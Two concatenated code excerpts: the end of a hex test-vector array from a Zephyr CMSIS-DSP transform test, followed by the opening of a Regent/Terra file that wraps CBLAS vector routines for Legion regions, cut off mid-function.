0x0, 0x0, 0xbb33, 0xbb87, 0x0, 0x0, 0xbb33, 0xbb8d,
0x0, 0x0, 0xbb33, 0xbb93, 0x0, 0x0, 0xbb33, 0xbb99,
0x0, 0x0, 0xbb33, 0xbb9f, 0x0, 0x0, 0xbb33, 0xbba5,
0x0, 0x0, 0xbb33, 0xbbab, 0x0, 0x0, 0xbb33, 0xbbb1,
0x0, 0x0, 0xbb33, 0xbbb7, 0x0, 0x0, 0xbb33, 0xbbbd,
0x0, 0x0, 0xbb33, 0xbbc3, 0x0, 0x0, 0xbb33, 0xbbc9,
0x0, 0x0, 0xbb33, 0xbbcf, 0x0, 0x0, 0xbb33, 0xbbd6,
0x0, 0x0, 0xbb33, 0xbbdc, 0x0, 0x0, 0xbb33, 0xbbe2,
0x0, 0x0, 0xbb33, 0xbbe8, 0x0, 0x0, 0xbb33, 0xbbef,
0x0, 0x0, 0xbb33, 0xbbf5, 0x0, 0x0, 0xbb33, 0xbbfb,
0x0, 0x0, 0xbb33, 0xbc01, 0x0, 0x0, 0xbb33, 0xbc04,
0x0, 0x0, 0xbb33, 0xbc07, 0x0, 0x0, 0xbb33, 0xbc0a,
0x0, 0x0, 0xbb33, 0xbc0d, 0x0, 0x0, 0xbb33, 0xbc11,
0x0, 0x0, 0xbb33, 0xbc14, 0x0, 0x0, 0xbb33, 0xbc17,
0x0, 0x0, 0xbb33, 0xbc1a, 0x0, 0x0, 0xbb33, 0xbc1e,
0x0, 0x0, 0xbb33, 0xbc21, 0x0, 0x0, 0xbb33, 0xbc24,
0x0, 0x0, 0xbb33, 0xbc27, 0x0, 0x0, 0xbb33, 0xbc2b,
0x0, 0x0, 0xbb33, 0xbc2e, 0x0, 0x0, 0xbb33, 0xbc31,
0x0, 0x0, 0xbb33, 0xbc35, 0x0, 0x0, 0xbb33, 0xbc38,
0x0, 0x0, 0xbb33, 0xbc3b, 0x0, 0x0, 0xbb33, 0xbc3f,
0x0, 0x0, 0xbb33, 0xbc42, 0x0, 0x0, 0xbb33, 0xbc46,
0x0, 0x0, 0xbb33, 0xbc49, 0x0, 0x0, 0xbb33, 0xbc4c,
0x0, 0x0, 0xbb33, 0xbc50, 0x0, 0x0, 0xbb33, 0xbc53,
0x0, 0x0, 0xbb33, 0xbc57, 0x0, 0x0, 0xbb33, 0xbc5a,
0x0, 0x0, 0xbb33, 0xbc5e, 0x0, 0x0, 0xbb33, 0xbc61,
0x0, 0x0, 0xbb33, 0xbc65, 0x0, 0x0, 0xbb33, 0xbc68,
0x0, 0x0, 0xbb33, 0xbc6c, 0x0, 0x0, 0xbb33, 0xbc6f,
0x0, 0x0, 0xbb33, 0xbc73, 0x0, 0x0, 0xbb33, 0xbc76,
0x0, 0x0, 0xbb33, 0xbc7a, 0x0, 0x0, 0xbb33, 0xbc7e,
0x0, 0x0, 0xbb33, 0xbc81, 0x0, 0x0, 0xbb33, 0xbc85,
0x0, 0x0, 0xbb33, 0xbc89, 0x0, 0x0, 0xbb33, 0xbc8c,
0x0, 0x0, 0xbb33, 0xbc90, 0x0, 0x0, 0xbb33, 0xbc94,
0x0, 0x0, 0xbb33, 0xbc97, 0x0, 0x0, 0xbb33, 0xbc9b,
0x0, 0x0, 0xbb33, 0xbc9f, 0x0, 0x0, 0xbb33, 0xbca3,
0x0, 0x0, 0xbb33, 0xbca6, 0x0, 0x0, 0xbb33, 0xbcaa,
0x0, 0x0, 0xbb33, 0xbcae, 0x0, 0x0, 0xbb33, 0xbcb2,
0x0, 0x0, 0xbb33, 0xbcb6, 0x0, 0x0, 0xbb33, 0xbcb9,
0x0, 0x0, 0xbb33, 0xbcbd, 0x0, 0x0, 0xbb33, 0xbcc1,
0x0, 0x0, 0xbb33, 0xbcc5, 0x0, 0x0, 0xbb33, 0xbcc9,
0x0, 0x0, 0xbb33, 0xbccd, 0x0, 0x0, 0xbb33, 0xbcd1,
0x0, 0x0, 0xbb33, 0xbcd5, 0x0, 0x0, 0xbb33, 0xbcd9,
0x0, 0x0, 0xbb33, 0xbcdd, 0x0, 0x0, 0xbb33, 0xbce1,
0x0, 0x0, 0xbb33, 0xbce5, 0x0, 0x0, 0xbb33, 0xbce9,
0x0, 0x0, 0xbb33, 0xbced, 0x0, 0x0, 0xbb33, 0xbcf1,
0x0, 0x0, 0xbb33, 0xbcf5, 0x0, 0x0, 0xbb33, 0xbcf9,
0x0, 0x0, 0xbb33, 0xbcfd, 0x0, 0x0, 0xbb33, 0xbd01,
0x0, 0x0, 0xbb33, 0xbd05, 0x0, 0x0, 0xbb33, 0xbd0a,
0x0, 0x0, 0xbb33, 0xbd0e, 0x0, 0x0, 0xbb33, 0xbd12,
0x0, 0x0, 0xbb33, 0xbd16, 0x0, 0x0, 0xbb33, 0xbd1a,
0x0, 0x0, 0xbb33, 0xbd1f, 0x0, 0x0, 0xbb33, 0xbd23,
0x0, 0x0, 0xbb33, 0xbd27, 0x0, 0x0, 0xbb33, 0xbd2c,
0x0, 0x0, 0xbb33, 0xbd30, 0x0, 0x0, 0xbb33, 0xbd34,
0x0, 0x0, 0xbb33, 0xbd39, 0x0, 0x0, 0xbb33, 0xbd3d,
0x0, 0x0, 0xbb33, 0xbd42, 0x0, 0x0, 0xbb33, 0xbd46,
0x0, 0x0, 0xbb33, 0xbd4a, 0x0, 0x0, 0xbb33, 0xbd4f,
0x0, 0x0, 0xbb33, 0xbd53, 0x0, 0x0, 0xbb33, 0xbd58,
0x0, 0x0, 0xbb33, 0xbd5c, 0x0, 0x0, 0xbb33, 0xbd61,
0x0, 0x0, 0xbb33, 0xbd66, 0x0, 0x0, 0xbb33, 0xbd6a,
0x0, 0x0, 0xbb33, 0xbd6f, 0x0, 0x0, 0xbb33, 0xbd73,
0x0, 0x0, 0xbb33, 0xbd78, 0x0, 0x0, 0xbb33, 0xbd7d,
0x0, 0x0, 0xbb33, 0xbd81, 0x0, 0x0, 0xbb33, 0xbd86,
0x0, 0x0, 0xbb33, 0xbd8b, 0x0, 0x0, 0xbb33, 0xbd90,
0x0, 0x0, 0xbb33, 0xbd95, 0x0, 0x0, 0xbb33, 0xbd99,
0x0, 0x0, 0xbb33, 0xbd9e, 0x0, 0x0, 0xbb33, 0xbda3,
0x0, 0x0, 0xbb33, 0xbda8, 0x0, 0x0, 0xbb33, 0xbdad,
0x0, 0x0, 0xbb33, 0xbdb2, 0x0, 0x0, 0xbb33, 0xbdb7,
0x0, 0x0, 0xbb33, 0xbdbc, 0x0, 0x0, 0xbb33, 0xbdc1,
0x0, 0x0, 0xbb33, 0xbdc6, 0x0, 0x0, 0xbb33, 0xbdcb,
0x0, 0x0, 0xbb33, 0xbdd0, 0x0, 0x0, 0xbb33, 0xbdd5,
0x0, 0x0, 0xbb33, 0xbdda, 0x0, 0x0, 0xbb33, 0xbddf,
0x0, 0x0, 0xbb33, 0xbde5, 0x0, 0x0, 0xbb33, 0xbdea,
0x0, 0x0, 0xbb33, 0xbdef, 0x0, 0x0, 0xbb33, 0xbdf4,
0x0, 0x0, 0xbb33, 0xbdfa, 0x0, 0x0, 0xbb33, 0xbdff,
0x0, 0x0, 0xbb33, 0xbe04, 0x0, 0x0, 0xbb33, 0xbe0a,
0x0, 0x0, 0xbb33, 0xbe0f, 0x0, 0x0, 0xbb33, 0xbe14,
0x0, 0x0, 0xbb33, 0xbe1a, 0x0, 0x0, 0xbb33, 0xbe1f,
0x0, 0x0, 0xbb33, 0xbe25, 0x0, 0x0, 0xbb33, 0xbe2b,
0x0, 0x0, 0xbb33, 0xbe30, 0x0, 0x0, 0xbb33, 0xbe36,
0x0, 0x0, 0xbb33, 0xbe3b, 0x0, 0x0, 0xbb33, 0xbe41,
0x0, 0x0, 0xbb33, 0xbe47, 0x0, 0x0, 0xbb33, 0xbe4c,
0x0, 0x0, 0xbb33, 0xbe52, 0x0, 0x0, 0xbb33, 0xbe58,
0x0, 0x0, 0xbb33, 0xbe5e, 0x0, 0x0, 0xbb33, 0xbe64,
0x0, 0x0, 0xbb33, 0xbe69, 0x0, 0x0, 0xbb33, 0xbe6f,
0x0, 0x0, 0xbb33, 0xbe75, 0x0, 0x0, 0xbb33, 0xbe7b,
0x0, 0x0, 0xbb33, 0xbe81, 0x0, 0x0, 0xbb33, 0xbe87,
0x0, 0x0, 0xbb33, 0xbe8d, 0x0, 0x0, 0xbb33, 0xbe94,
0x0, 0x0, 0xbb33, 0xbe9a, 0x0, 0x0, 0xbb33, 0xbea0,
0x0, 0x0, 0xbb33, 0xbea6, 0x0, 0x0, 0xbb33, 0xbeac,
0x0, 0x0, 0xbb33, 0xbeb3, 0x0, 0x0, 0xbb33, 0xbeb9,
0x0, 0x0, 0xbb33, 0xbebf, 0x0, 0x0, 0xbb33, 0xbec6,
0x0, 0x0, 0xbb33, 0xbecc, 0x0, 0x0, 0xbb33, 0xbed3,
0x0, 0x0, 0xbb33, 0xbed9, 0x0, 0x0, 0xbb33, 0xbee0,
0x0, 0x0, 0xbb33, 0xbee6, 0x0, 0x0, 0xbb33, 0xbeed,
0x0, 0x0, 0xbb33, 0xbef4, 0x0, 0x0, 0xbb33, 0xbefa,
0x0, 0x0, 0xbb33, 0xbf01, 0x0, 0x0, 0xbb33, 0xbf08,
0x0, 0x0, 0xbb33, 0xbf0f, 0x0, 0x0, 0xbb33, 0xbf16,
0x0, 0x0, 0xbb33, 0xbf1c, 0x0, 0x0, 0xbb33, 0xbf23,
0x0, 0x0, 0xbb33, 0xbf2a, 0x0, 0x0, 0xbb33, 0xbf31,
0x0, 0x0, 0xbb33, 0xbf39, 0x0, 0x0, 0xbb33, 0xbf40,
0x0, 0x0, 0xbb33, 0xbf47, 0x0, 0x0, 0xbb33, 0xbf4e,
0x0, 0x0, 0xbb33, 0xbf55, 0x0, 0x0, 0xbb33, 0xbf5d,
0x0, 0x0, 0xbb33, 0xbf64, 0x0, 0x0, 0xbb33, 0xbf6b,
0x0, 0x0, 0xbb33, 0xbf73, 0x0, 0x0, 0xbb33, 0xbf7a,
0x0, 0x0, 0xbb33, 0xbf82, 0x0, 0x0, 0xbb33, 0xbf89,
0x0, 0x0, 0xbb33, 0xbf91, 0x0, 0x0, 0xbb33, 0xbf99,
0x0, 0x0, 0xbb33, 0xbfa0, 0x0, 0x0, 0xbb33, 0xbfa8,
0x0, 0x0, 0xbb33, 0xbfb0, 0x0, 0x0, 0xbb33, 0xbfb8,
0x0, 0x0, 0xbb33, 0xbfc0, 0x0, 0x0, 0xbb33, 0xbfc8,
0x0, 0x0, 0xbb33, 0xbfd0, 0x0, 0x0, 0xbb33, 0xbfd8,
0x0, 0x0, 0xbb33, 0xbfe0, 0x0, 0x0, 0xbb33, 0xbfe8,
0x0, 0x0, 0xbb33, 0xbff1, 0x0, 0x0, 0xbb33, 0xbff9,
0x0, 0x0, 0xbb33, 0xc001, 0x0, 0x0, 0xbb33, 0xc005,
0x0, 0x0, 0xbb33, 0xc009, 0x0, 0x0, 0xbb33, 0xc00d,
0x0, 0x0, 0xbb33, 0xc012, 0x0, 0x0, 0xbb33, 0xc016,
0x0, 0x0, 0xbb33, 0xc01a, 0x0, 0x0, 0xbb33, 0xc01f,
0x0, 0x0, 0xbb33, 0xc023, 0x0, 0x0, 0xbb33, 0xc028,
0x0, 0x0, 0xbb33, 0xc02c, 0x0, 0x0, 0xbb33, 0xc031,
0x0, 0x0, 0xbb33, 0xc035, 0x0, 0x0, 0xbb33, 0xc03a,
0x0, 0x0, 0xbb33, 0xc03e, 0x0, 0x0, 0xbb33, 0xc043,
0x0, 0x0, 0xbb33, 0xc048, 0x0, 0x0, 0xbb33, 0xc04d,
0x0, 0x0, 0xbb33, 0xc051, 0x0, 0x0, 0xbb33, 0xc056,
0x0, 0x0, 0xbb33, 0xc05b, 0x0, 0x0, 0xbb33, 0xc060,
0x0, 0x0, 0xbb33, 0xc065, 0x0, 0x0, 0xbb33, 0xc06a,
0x0, 0x0, 0xbb33, 0xc06f, 0x0, 0x0, 0xbb33, 0xc074,
0x0, 0x0, 0xbb33, 0xc079, 0x0, 0x0, 0xbb33, 0xc07e,
0x0, 0x0, 0xbb33, 0xc083, 0x0, 0x0, 0xbb33, 0xc088,
0x0, 0x0, 0xbb33, 0xc08d, 0x0, 0x0, 0xbb33, 0xc092,
0x0, 0x0, 0xbb33, 0xc098, 0x0, 0x0, 0xbb33, 0xc09d,
0x0, 0x0, 0xbb33, 0xc0a2, 0x0, 0x0, 0xbb33, 0xc0a8,
0x0, 0x0, 0xbb33, 0xc0ad, 0x0, 0x0, 0xbb33, 0xc0b3,
0x0, 0x0, 0xbb33, 0xc0b8, 0x0, 0x0, 0xbb33, 0xc0be,
0x0, 0x0, 0xbb33, 0xc0c4, 0x0, 0x0, 0xbb33, 0xc0c9,
0x0, 0x0, 0xbb33, 0xc0cf, 0x0, 0x0, 0xbb33, 0xc0d5,
0x0, 0x0, 0xbb33, 0xc0db, 0x0, 0x0, 0xbb33, 0xc0e0,
0x0, 0x0, 0xbb33, 0xc0e6, 0x0, 0x0, 0xbb33, 0xc0ec,
0x0, 0x0, 0xbb33, 0xc0f2, 0x0, 0x0, 0xbb33, 0xc0f8,
0x0, 0x0, 0xbb33, 0xc0ff, 0x0, 0x0, 0xbb33, 0xc105,
0x0, 0x0, 0xbb33, 0xc10b, 0x0, 0x0, 0xbb33, 0xc111,
0x0, 0x0, 0xbb33, 0xc118, 0x0, 0x0, 0xbb33, 0xc11e,
0x0, 0x0, 0xbb33, 0xc124, 0x0, 0x0, 0xbb33, 0xc12b,
0x0, 0x0, 0xbb33, 0xc131, 0x0, 0x0, 0xbb33, 0xc138,
0x0, 0x0, 0xbb33, 0xc13f, 0x0, 0x0, 0xbb33, 0xc146,
0x0, 0x0, 0xbb33, 0xc14c, 0x0, 0x0, 0xbb33, 0xc153,
0x0, 0x0, 0xbb33, 0xc15a, 0x0, 0x0, 0xbb33, 0xc161,
0x0, 0x0, 0xbb33, 0xc168, 0x0, 0x0, 0xbb33, 0xc16f,
0x0, 0x0, 0xbb33, 0xc176, 0x0, 0x0, 0xbb33, 0xc17e,
0x0, 0x0, 0xbb33, 0xc185, 0x0, 0x0, 0xbb33, 0xc18c,
0x0, 0x0, 0xbb33, 0xc194, 0x0, 0x0, 0xbb33, 0xc19b,
0x0, 0x0, 0xbb33, 0xc1a3, 0x0, 0x0, 0xbb33, 0xc1ab,
0x0, 0x0, 0xbb33, 0xc1b2, 0x0, 0x0, 0xbb33, 0xc1ba,
0x0, 0x0, 0xbb33, 0xc1c2, 0x0, 0x0, 0xbb33, 0xc1ca,
0x0, 0x0, 0xbb33, 0xc1d2, 0x0, 0x0, 0xbb33, 0xc1da,
0x0, 0x0, 0xbb33, 0xc1e3, 0x0, 0x0, 0xbb33, 0xc1eb,
0x0, 0x0, 0xbb33, 0xc1f3, 0x0, 0x0, 0xbb33, 0xc1fc,
0x0, 0x0, 0xbb33, 0xc204, 0x0, 0x0, 0xbb33, 0xc20d,
0x0, 0x0, 0xbb33, 0xc216, 0x0, 0x0, 0xbb33, 0xc21f,
0x0, 0x0, 0xbb33, 0xc227, 0x0, 0x0, 0xbb33, 0xc230,
0x0, 0x0, 0xbb33, 0xc23a, 0x0, 0x0, 0xbb33, 0xc243,
0x0, 0x0, 0xbb33, 0xc24c, 0x0, 0x0, 0xbb33, 0xc255,
0x0, 0x0, 0xbb33, 0xc25f, 0x0, 0x0, 0xbb33, 0xc269,
0x0, 0x0, 0xbb33, 0xc272, 0x0, 0x0, 0xbb33, 0xc27c,
0x0, 0x0, 0xbb33, 0xc286, 0x0, 0x0, 0xbb33, 0xc290,
0x0, 0x0, 0xbb33, 0xc29a, 0x0, 0x0, 0xbb33, 0xc2a5,
0x0, 0x0, 0xbb33, 0xc2af, 0x0, 0x0, 0xbb33, 0xc2b9,
0x0, 0x0, 0xbb33, 0xc2c4, 0x0, 0x0, 0xbb33, 0xc2cf,
0x0, 0x0, 0xbb33, 0xc2da, 0x0, 0x0, 0xbb33, 0xc2e5,
0x0, 0x0, 0xbb33, 0xc2f0, 0x0, 0x0, 0xbb33, 0xc2fb,
0x0, 0x0, 0xbb33, 0xc307, 0x0, 0x0, 0xbb33, 0xc312,
0x0, 0x0, 0xbb33, 0xc31e, 0x0, 0x0, 0xbb33, 0xc32a,
0x0, 0x0, 0xbb33, 0xc336, 0x0, 0x0, 0xbb33, 0xc342,
0x0, 0x0, 0xbb33, 0xc34e, 0x0, 0x0, 0xbb33, 0xc35a,
0x0, 0x0, 0xbb33, 0xc367, 0x0, 0x0, 0xbb33, 0xc374,
0x0, 0x0, 0xbb33, 0xc381, 0x0, 0x0, 0xbb33, 0xc38e,
0x0, 0x0, 0xbb33, 0xc39b, 0x0, 0x0, 0xbb33, 0xc3a8,
0x0, 0x0, 0xbb33, 0xc3b6, 0x0, 0x0, 0xbb33, 0xc3c4,
0x0, 0x0, 0xbb33, 0xc3d2, 0x0, 0x0, 0xbb33, 0xc3e0,
0x0, 0x0, 0xbb33, 0xc3ee, 0x0, 0x0, 0xbb33, 0xc3fd,
0x0, 0x0, 0xbb33, 0xc406, 0x0, 0x0, 0xbb33, 0xc40d,
0x0, 0x0, 0xbb33, 0xc415, 0x0, 0x0, 0xbb33, 0xc41c,
0x0, 0x0, 0xbb33, 0xc424, 0x0, 0x0, 0xbb33, 0xc42c,
0x0, 0x0, 0xbb33, 0xc434, 0x0, 0x0, 0xbb33, 0xc43c,
0x0, 0x0, 0xbb33, 0xc444, 0x0, 0x0, 0xbb33, 0xc44d,
0x0, 0x0, 0xbb33, 0xc455, 0x0, 0x0, 0xbb33, 0xc45e,
0x0, 0x0, 0xbb33, 0xc467, 0x0, 0x0, 0xbb33, 0xc470,
0x0, 0x0, 0xbb33, 0xc479, 0x0, 0x0, 0xbb33, 0xc482,
0x0, 0x0, 0xbb33, 0xc48b, 0x0, 0x0, 0xbb33, 0xc494,
0x0, 0x0, 0xbb33, 0xc49e, 0x0, 0x0, 0xbb33, 0xc4a8,
0x0, 0x0, 0xbb33, 0xc4b2, 0x0, 0x0, 0xbb33, 0xc4bc,
0x0, 0x0, 0xbb33, 0xc4c6, 0x0, 0x0, 0xbb33, 0xc4d0,
0x0, 0x0, 0xbb33, 0xc4db, 0x0, 0x0, 0xbb33, 0xc4e5,
0x0, 0x0, 0xbb33, 0xc4f0, 0x0, 0x0, 0xbb33, 0xc4fb,
0x0, 0x0, 0xbb33, 0xc507, 0x0, 0x0, 0xbb33, 0xc512,
0x0, 0x0, 0xbb33, 0xc51e, 0x0, 0x0, 0xbb33, 0xc52a,
0x0, 0x0, 0xbb33, 0xc536, 0x0, 0x0, 0xbb33, 0xc542,
0x0, 0x0, 0xbb33, 0xc54f, 0x0, 0x0, 0xbb33, 0xc55c,
0x0, 0x0, 0xbb33, 0xc568, 0x0, 0x0, 0xbb33, 0xc576,
0x0, 0x0, 0xbb33, 0xc583, 0x0, 0x0, 0xbb33, 0xc591,
0x0, 0x0, 0xbb33, 0xc59f, 0x0, 0x0, 0xbb33, 0xc5ad,
0x0, 0x0, 0xbb33, 0xc5bc, 0x0, 0x0, 0xbb33, 0xc5cb,
0x0, 0x0, 0xbb33, 0xc5da, 0x0, 0x0, 0xbb33, 0xc5e9,
0x0, 0x0, 0xbb33, 0xc5f9, 0x0, 0x0, 0xbb33, 0xc609,
0x0, 0x0, 0xbb33, 0xc619, 0x0, 0x0, 0xbb33, 0xc62a,
0x0, 0x0, 0xbb33, 0xc63b, 0x0, 0x0, 0xbb33, 0xc64d,
0x0, 0x0, 0xbb33, 0xc65f, 0x0, 0x0, 0xbb33, 0xc671,
0x0, 0x0, 0xbb33, 0xc684, 0x0, 0x0, 0xbb33, 0xc697,
0x0, 0x0, 0xbb33, 0xc6aa, 0x0, 0x0, 0xbb33, 0xc6be,
0x0, 0x0, 0xbb33, 0xc6d3, 0x0, 0x0, 0xbb33, 0xc6e8,
0x0, 0x0, 0xbb33, 0xc6fd, 0x0, 0x0, 0xbb33, 0xc713,
0x0, 0x0, 0xbb33, 0xc729, 0x0, 0x0, 0xbb33, 0xc740,
0x0, 0x0, 0xbb33, 0xc758, 0x0, 0x0, 0xbb33, 0xc770,
0x0, 0x0, 0xbb33, 0xc789, 0x0, 0x0, 0xbb33, 0xc7a2,
0x0, 0x0, 0xbb33, 0xc7bc, 0x0, 0x0, 0xbb33, 0xc7d7,
0x0, 0x0, 0xbb33, 0xc7f3, 0x0, 0x0, 0xbb33, 0xc808,
0x0, 0x0, 0xbb33, 0xc816, 0x0, 0x0, 0xbb33, 0xc825,
0x0, 0x0, 0xbb33, 0xc834, 0x0, 0x0, 0xbb33, 0xc844,
0x0, 0x0, 0xbb33, 0xc855, 0x0, 0x0, 0xbb33, 0xc865,
0x0, 0x0, 0xbb33, 0xc877, 0x0, 0x0, 0xbb33, 0xc889,
0x0, 0x0, 0xbb33, 0xc89b, 0x0, 0x0, 0xbb33, 0xc8ae,
0x0, 0x0, 0xbb33, 0xc8c1, 0x0, 0x0, 0xbb33, 0xc8d6,
0x0, 0x0, 0xbb33, 0xc8eb, 0x0, 0x0, 0xbb33, 0xc900,
0x0, 0x0, 0xbb33, 0xc917, 0x0, 0x0, 0xbb33, 0xc92e,
0x0, 0x0, 0xbb33, 0xc946, 0x0, 0x0, 0xbb33, 0xc95f,
0x0, 0x0, 0xbb33, 0xc979, 0x0, 0x0, 0xbb33, 0xc993,
0x0, 0x0, 0xbb33, 0xc9af, 0x0, 0x0, 0xbb33, 0xc9cc,
0x0, 0x0, 0xbb33, 0xc9ea, 0x0, 0x0, 0xbb33, 0xca0a,
0x0, 0x0, 0xbb33, 0xca2a, 0x0, 0x0, 0xbb33, 0xca4c,
0x0, 0x0, 0xbb33, 0xca70, 0x0, 0x0, 0xbb33, 0xca95,
0x0, 0x0, 0xbb33, 0xcabc, 0x0, 0x0, 0xbb33, 0xcae5,
0x0, 0x0, 0xbb33, 0xcb0f, 0x0, 0x0, 0xbb33, 0xcb3c,
0x0, 0x0, 0xbb33, 0xcb6b, 0x0, 0x0, 0xbb33, 0xcb9c,
0x0, 0x0, 0xbb33, 0xcbd0, 0x0, 0x0, 0xbb33, 0xcc04,
0x0, 0x0, 0xbb33, 0xcc21, 0x0, 0x0, 0xbb33, 0xcc3f,
0x0, 0x0, 0xbb33, 0xcc60, 0x0, 0x0, 0xbb33, 0xcc82,
0x0, 0x0, 0xbb33, 0xcca7, 0x0, 0x0, 0xbb33, 0xccce,
0x0, 0x0, 0xbb33, 0xccf8, 0x0, 0x0, 0xbb33, 0xcd25,
0x0, 0x0, 0xbb33, 0xcd55, 0x0, 0x0, 0xbb33, 0xcd88,
0x0, 0x0, 0xbb33, 0xcdc0, 0x0, 0x0, 0xbb33, 0xcdfc,
0x0, 0x0, 0xbb33, 0xce3d, 0x0, 0x0, 0xbb33, 0xce84,
0x0, 0x0, 0xbb33, 0xced2, 0x0, 0x0, 0xbb33, 0xcf27,
0x0, 0x0, 0xbb33, 0xcf85, 0x0, 0x0, 0xbb33, 0xcfed,
0x0, 0x0, 0xbb33, 0xd031, 0x0, 0x0, 0xbb33, 0xd072,
0x0, 0x0, 0xbb33, 0xd0bb, 0x0, 0x0, 0xbb33, 0xd10f,
0x0, 0x0, 0xbb33, 0xd16f, 0x0, 0x0, 0xbb33, 0xd1de,
0x0, 0x0, 0xbb33, 0xd260, 0x0, 0x0, 0xbb33, 0xd2fc,
0x0, 0x0, 0xbb33, 0xd3b8, 0x0, 0x0, 0xbb33, 0xd450,
0x0, 0x0, 0xbb33, 0xd4e4, 0x0, 0x0, 0xbb33, 0xd5a4,
0x0, 0x0, 0xbb33, 0xd6ab, 0x0, 0x0, 0xbb33, 0xd813,
0x0, 0x0, 0xbb33, 0xd93d, 0x0, 0x0, 0xbb33, 0xdb55,
0x0, 0x0, 0xbb33, 0xde1d, 0x0, 0x0, 0xbb33, 0xe495
};
| Max | 3 | ldalek/zephyr | tests/lib/cmsis_dsp/transform/src/cf16.pat | [
"Apache-2.0"
] |
-- Copyright 2022 Stanford University
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
import "regent"
local clib = regentlib.c
local nan = regentlib.nan(double)
local utils = require("utils")
float_ptr = raw_ptr_factory(float)
double_ptr = raw_ptr_factory(double)
complex_ptr = raw_ptr_factory(complex)
local cblas = utils.cblas
terra sdot_cpu_terra(
N : int,
rectX : rect1d,
rectY : rect1d,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t,
prY : clib.legion_physical_region_t,
fldY : clib.legion_field_id_t)
var rawX : float_ptr
[get_raw_ptr_factory(1, float, rectX, prX, fldX, rawX, float_ptr)]
var rawY : float_ptr
[get_raw_ptr_factory(1, float, rectY, prY, fldY, rawY, float_ptr)]
return cblas.cblas_sdot(N, rawX.ptr, rawX.offset, rawY.ptr, rawY.offset)
end
terra ddot_cpu_terra(
N : int,
rectX : rect1d,
rectY : rect1d,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t,
prY : clib.legion_physical_region_t,
fldY : clib.legion_field_id_t)
var rawX : double_ptr
[get_raw_ptr_factory(1, double, rectX, prX, fldX, rawX, double_ptr)]
var rawY : double_ptr
[get_raw_ptr_factory(1, double, rectY, prY, fldY, rawY, double_ptr)]
return cblas.cblas_ddot(N, rawX.ptr, rawX.offset, rawY.ptr, rawY.offset)
end
terra snrm2_cpu_terra(
N : int,
rectX : rect1d,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t)
var rawX : float_ptr
[get_raw_ptr_factory(1, float, rectX, prX, fldX, rawX, float_ptr)]
return cblas.cblas_snrm2(N, rawX.ptr, rawX.offset)
end
terra sasum_cpu_terra(
N : int,
rectX : rect1d,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t)
var rawX : float_ptr
[get_raw_ptr_factory(1, float, rectX, prX, fldX, rawX, float_ptr)]
return cblas.cblas_sasum(N, rawX.ptr, rawX.offset)
end
terra dnrm2_cpu_terra(
N : int,
rectX : rect1d,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t)
var rawX : double_ptr
[get_raw_ptr_factory(1, double, rectX, prX, fldX, rawX, double_ptr)]
return cblas.cblas_dnrm2(N, rawX.ptr, rawX.offset)
end
terra dasum_cpu_terra(
N : int,
rectX : rect1d,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t)
var rawX : double_ptr
[get_raw_ptr_factory(1, double, rectX, prX, fldX, rawX, double_ptr)]
return cblas.cblas_dasum(N, rawX.ptr, rawX.offset)
end
terra isamax_cpu_terra(
N : int,
rectX : rect1d,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t)
var rawX : float_ptr
[get_raw_ptr_factory(1, float, rectX, prX, fldX, rawX, float_ptr)]
return cblas.cblas_isamax(N, rawX.ptr, rawX.offset)
end
terra idamax_cpu_terra(
N : int,
rectX : rect1d,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t)
var rawX : double_ptr
[get_raw_ptr_factory(1, double, rectX, prX, fldX, rawX, double_ptr)]
return cblas.cblas_idamax(N, rawX.ptr, rawX.offset)
end
terra sswap_cpu_terra(
N : int,
rectX : rect1d,
rectY : rect1d,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t,
prY : clib.legion_physical_region_t,
fldY : clib.legion_field_id_t)
var rawX : float_ptr
[get_raw_ptr_factory(1, float, rectX, prX, fldX, rawX, float_ptr)]
var rawY : float_ptr
[get_raw_ptr_factory(1, float, rectY, prY, fldY, rawY, float_ptr)]
cblas.cblas_sswap(N, rawX.ptr, rawX.offset, rawY.ptr, rawY.offset)
end
terra scopy_cpu_terra(
N : int,
rectX : rect1d,
rectY : rect1d,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t,
prY : clib.legion_physical_region_t,
fldY : clib.legion_field_id_t)
var rawX : float_ptr
[get_raw_ptr_factory(1, float, rectX, prX, fldX, rawX, float_ptr)]
var rawY : float_ptr
[get_raw_ptr_factory(1, float, rectY, prY, fldY, rawY, float_ptr)]
cblas.cblas_scopy(N, rawX.ptr, rawX.offset, rawY.ptr, rawY.offset)
end
terra saxpy_cpu_terra(
N : int,
alpha : float,
rectX : rect1d,
rectY : rect1d,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t,
prY : clib.legion_physical_region_t,
fldY : clib.legion_field_id_t)
var rawX : float_ptr
[get_raw_ptr_factory(1, float, rectX, prX, fldX, rawX, float_ptr)]
var rawY : float_ptr
[get_raw_ptr_factory(1, float, rectY, prY, fldY, rawY, float_ptr)]
cblas.cblas_saxpy(N, alpha, rawX.ptr, rawX.offset, rawY.ptr, rawY.offset)
end
terra dswap_cpu_terra(
N : int,
rectX : rect1d,
rectY : rect1d,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t,
prY : clib.legion_physical_region_t,
fldY : clib.legion_field_id_t)
var rawX : double_ptr
[get_raw_ptr_factory(1, double, rectX, prX, fldX, rawX, double_ptr)]
var rawY : double_ptr
[get_raw_ptr_factory(1, double, rectY, prY, fldY, rawY, double_ptr)]
cblas.cblas_dswap(N, rawX.ptr, rawX.offset, rawY.ptr, rawY.offset)
end
terra dcopy_cpu_terra(
N : int,
rectX : rect1d,
rectY : rect1d,
prX : clib.legion_physical_region_t,
fldX : clib.legion_field_id_t,
prY : clib.legion_physical_region_t,
fldY : clib.legion_field_id_t)
var rawX : double_ptr
